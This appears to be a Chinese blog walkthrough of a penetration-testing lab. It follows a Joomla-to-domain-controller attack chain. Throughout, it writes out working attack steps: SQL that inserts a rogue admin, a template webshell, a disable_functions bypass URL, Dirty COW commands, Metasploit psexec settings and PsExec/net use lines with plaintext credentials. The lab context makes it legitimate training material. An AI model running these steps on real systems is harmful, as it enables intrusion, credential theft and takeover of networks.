前言
靶场难度低,靶机下载。又是一次不完美的渗透。
网络拓扑图
信息搜集
nmap扫描结果
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3306/tcp open mysql
访问网页,一看就是joomla cms搭建的
msf使用auxiliary/scanner/http/joomla_version
,版本为3.9.12
,并未在网上找到可利用的exp
joomla路径扫描工具JoomScan
,安装apt install joomscan
,使用joomscan -u http://192.168.31.138/
。
存在配置文件:http://192.168.31.138/configuration.php~
和后台http://192.168.31.138/administrator/
访问配置文件,得到用户名:testuser
,密码:cvcvgjASD!@
前面开放了3306端口,使用Navicat
可成功连接
发现无法进行读取和写入文件,那就只能从后台下手,查看后台用户名和密码,发现密码是加密的
来到joomla官网,发现一篇文章如何恢复或重置管理员密码,我直接编辑密码改为d2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199
。对应的明文密码为secret
或者使用下面的payload,将添加一个用户名为:admin2
,密码为secret
的账户
INSERT INTO `am2zu_users`
(`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`)
VALUES ('Administrator2', 'admin2',
'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW());
INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`)
VALUES (LAST_INSERT_ID(),'8');
getshell
进入后台后,点击Extensions->Templates->Templates
来到模板文件后,点击Protostar Details and Files
编辑index.php
,写入一句话木马
蚁剑成功连接
绕过disable_functions
执行命令出现 ret=127,命令被拦截
查看phpinfo中的disable_functions,禁用了很多函数,所以命令执行失败。下面开始绕过
第一种,蚁剑插件市场安装绕过disable_functions插件。
选择模式一个一个尝试,点击开始后会出现一个新的终端,成功绕过
第二种,下载bypass_disablefunc_via_LD_PRELOAD,将bypass_disablefunc.php
,bypass_disablefunc_x64.so
上传到站点根目录
然后在当前目录下新建一个叫tempcmd的文件夹,该目录下再建个名叫temp的文件
构造payload,成功执行
http://192.168.31.138/bypass_disablefunc.php?cmd=whoami&outpath=/var/www/html/tempcmd/temp&sopath=/var/www/html/bypass_disablefunc_x64.so
查看ip地址,发现和最开始的192.168.31.138对不上。这里拿下的是Ubuntu主机
nginx反向代理
而出现这种情况,其实是使用了nginx反向代理。
何为反向代理
反向代理和正向代理的区别就是:正向代理代理客户端,反向代理代理服务器。
反向代理,其实客户端对代理是无感知的,因为客户端不需要任何配置就可以访问,我们只需要将请求发送到反向代理服务器,由反向代理服务器去选择目标服务器获取数据后,在返回给客户端,此时反向代理服务器和目标服务器对外就是一个服务器,暴露的是代理服务器地址,隐藏了真实服务器IP地址。
反向代理的好处
那么为什么要用到反向代理呢,原因有以下几点:
1、保护了真实的web服务器,web服务器对外不可见,外网只能看到反向代理服务器,而反向代理服务器上并没有真实数据,因此,保证了web服务器的资源安全
2、反向代理为基础产生了动静资源分离以及负载均衡的方式,减轻web服务器的负担,加速了对网站访问速度(动静资源分离和负载均衡会以后说)
3、节约了有限的IP地址资源,企业内所有的网站共享一个在internet中注册的IP地址,这些服务器分配私有地址,采用虚拟主机的方式对外提供服务
解释清楚后,现在要拿到centos的shell。我看攻略是在/tmp/mysql/test.txt
存放了centos的ssh的用户名和密码。用户名:wwwuser
,密码:wwwuser_123Aqx
。而我这里并没有,就直接跳过吧……
脏牛提权
ssh登录后,这里使用脏牛进行提权
git clone git://github.com/FireFart/dirtycow.git
cd dirtycow/
gcc -pthread dirty.c -o dirty -lcrypt //编译dirty.c
./dirty 123456 //创建一个高权限用户,密码为123456
成功执行后,会自动生成一个用户名为firefart
密码为123456
的用户
接下来上主机上线cs,使用CrossC2,安装方法见我博客。生成一个https的listener
点击CrossC2->Create CrossC2 Listener->Create reverse HTTPS Listener,选择名为linux的Listener,直接点build。
再点击CrossC2->Scripted Web Delivery(S),type选择wget
点击Build后,会弹出一个框,将里面的代码复制粘贴到centos里面,运行上线cs
接下来要内网主机探测了,介绍一款轻量级的跨平台扫描工具ServerScan,下载对应的版本,因为靶机是linux所以下载linux。上传到靶机后。
运行shell ServerScan_Air_v1.0.2_linux_i386 192.168.93.0/24 1-1000 icmp
,很快就探测出来了
数据如下,存在域TEST,dc机为192.168.93.10
192.168.93.10 主机名:WIN-8GA56TNV3MV
53 (unknown - .version bind.)
135 (Microsoft Windows RPC - msrpc)
139 (unknown)
389 (DC=test,DC=org)
445 (Microsoft Windows 2003 or 2008 microsoft-ds - microsoft-ds - hostname: WIN-8GA56TNV3MV domain: TEST)
192.168.93.20 主机名:WIN2008
80 (Microsoft-HTTPAPI/2.0 - Microsoft HTTPAPI httpd - 2.0 - Not Found Not Found HTTP Error...)
135 (Microsoft Windows RPC - msrpc)
139 (unknown)
445 (Microsoft Windows 2003 or 2008 microsoft-ds - microsoft-ds - hostname: WIN2008 domain: TEST)
1433 (Microsoft SQL Server 2008 - ms-sql-s - .%.@. - 10.00.1600; RTM)
192.168.93.30 主机名:WIN7
139 (unknown)
445 (Microsoft Windows 2003 or 2008 microsoft-ds - microsoft-ds - hostname: WIN7 domain: TEST)
135 (Microsoft Windows RPC - msrpc)
192.168.93.20开放了80端口和1433,访问80
使用前面mysql的账号能连接成功
后来尝试ms17-010,一个都不能成功,其实下一步应该利用这个1433端口。使用smbrelayx攻击。而我这里搭建环境几个小时都无法成功,算了索性方向。这篇文章成功了复现。
于是又去看攻略,他们使用smb爆破出用户名:Administrator 密码为:123qwe!ASD
横向移动
msf设置好socks代理,psexec正向连接获取一个shell
msf6 exploit(windows/smb/psexec) > set smbpass 123qwe!ASD
msf6 exploit(windows/smb/psexec) > set payload windows/meterpreter/bind_tcp
msf6 exploit(windows/smb/psexec) > set smbuser Administrator
msf6 exploit(windows/smb/psexec) > set rhost 192.168.93.30
msf6 exploit(windows/smb/psexec) > run
然而这里登录不上192.168.93.20,可以使用proxychains-windows,搭配psexec尝试。
proxychains PsExec.exe \\192.168.93.20 -u administrator -p 123qwe!ASD -s cmd
可成功连接
建立连接proxychains net use \\192.168.93.20\c$ "123qwe!ASD" /user:Administrator
口头叙述一下,实在不想配图了,生成一个msf的正向连接木马。连接上线后,使用mimikatz抓到域管理员密码,懂了吧。直接登录过去收工。
其实这靶机最有趣的地方就是smb中间人攻击,可惜这环境复现不起。